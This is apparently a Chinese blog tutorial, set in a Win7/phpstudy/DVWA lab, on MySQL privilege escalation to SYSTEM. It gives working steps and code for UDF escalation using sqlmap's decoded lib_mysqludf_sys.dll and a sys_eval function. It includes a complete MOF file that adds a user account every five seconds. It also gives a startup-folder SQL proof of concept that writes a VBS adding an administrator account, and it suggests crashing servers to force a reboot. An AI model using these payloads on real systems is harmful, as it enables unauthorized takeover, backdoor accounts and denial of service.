数据库权限提升

UDF提权

所用环境:Win7+phpstudy+dvwa

1.UDF提权前置知识

UDF介绍: UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展 MySQL的技术手段,可以说是数据库功能的一种扩展。用户通过自定义函数来实现在MySQL中无法方 便实现的功能,其添加的新函数都可以在SQL语句中调用,通过添加命令执行函数可以执行系统命令, 从而进行提权。

我们自定义的函数才被当作本机函数执行。在使用CREATE FUNCITON调用dll中的函数后,mysql账 号转化为system权限,从而来提权。

UDF提权条件: 1)掌握的Mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,如root账户 2)Mysql版本大于5.1版本,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下 3)可以将udf.dll写入到相应目录的权限 4)secure-file-priv参数不为null

2.UDF提权流程

(1、通过网站漏洞获取一个shell,如webshell:

(2、查找数据库账号密码

C:/phpstudy_pro/WWW/DVWA/DVWA/config/config.inc.php

(3、通过navicat连接数据库

如果无法远程连接的话,可以在后端数据库中进行授权

grant all privileges on *.* to root@'%' identified by 'root';

当然如果是实际的环境中,无法连接数据库,那就没有办法了

新建查询,查询Mysql系统位数:64位数

查询plugin路径,用以存放插件

show variables like '%plugin%';

可知路径为C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

查看secure_file_priv是否为NULL,确定是否能够对mysql导入导出,此处我们看是不为NULL的

(4、制作提权dll

sqlmap中有编码后的dll文件,路径为 sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下 python cloak.py -d -i lib_mysqludf_sys.dll_ # windows 环境允许以下命令 python cloak.py -d -i D:\\huanjing\\python\\Python38\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysql udf_sys.dll_

(5、将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录

如果没有相应的路径则需要自己创建

(6、创建sys_eval函数,提权

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

# 允许数据库远程连接 grant all privileges on *.* to "root"@"%" identified by "密码"; # 创建用户 CREATE USER 'admin'@'%' IDENTIFIED BY 'pwd123'; # 授予用户dvwa库权限 grant all on dvwa.* to 'admin'@'%'; # Mysql配置文件增加 srcure-file-priv选项 secure_file_priv= 使用函数进行提权:select sys_eval('whoami');

但是我们这里还是一个普通用户

之所以提权失败,是因为后端数据库所用的并不是最高权限账户

我们切换到administrator,再次执行select sys_eval('whoami');发现提权成功

MOF漏洞及启动项提权

1.MOF提权

条件: 1. windows 03及以下版本 2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录 3. secure-file-priv参数不为null 原理: MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof, 然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段 vbs脚本的内容让系统执行命令,进行提权。

mof利用代码

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 提权过程: 将上面的脚本上传到有读写权限的目录下 C:/phpstudy_pro/1.mof 然后使用sql语句将文件导入到c:/windows/system32/wbem/mof/下 : select load_file("C:/phpstudy_pro/1.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次test用户。

启动项提权

条件:file_priv 不为null、已知root密码 写入一段VBS代码到开机自启动中,服务器重启达到创建用户并提权,可以配合ms12-020,ms15-034 等漏洞将服务器打蓝屏迫使服务器重启。

1、开始菜单当前用户启动文件夹-- C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 2、开始菜单所有用户启动文件夹-- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 3、注册表当前用户开机启动项目录-- HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4、注册表所有用户开机启动项目录-- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

利用POC: create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"") " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123456 /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单 \\程序\\启动\\a.vbs";

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值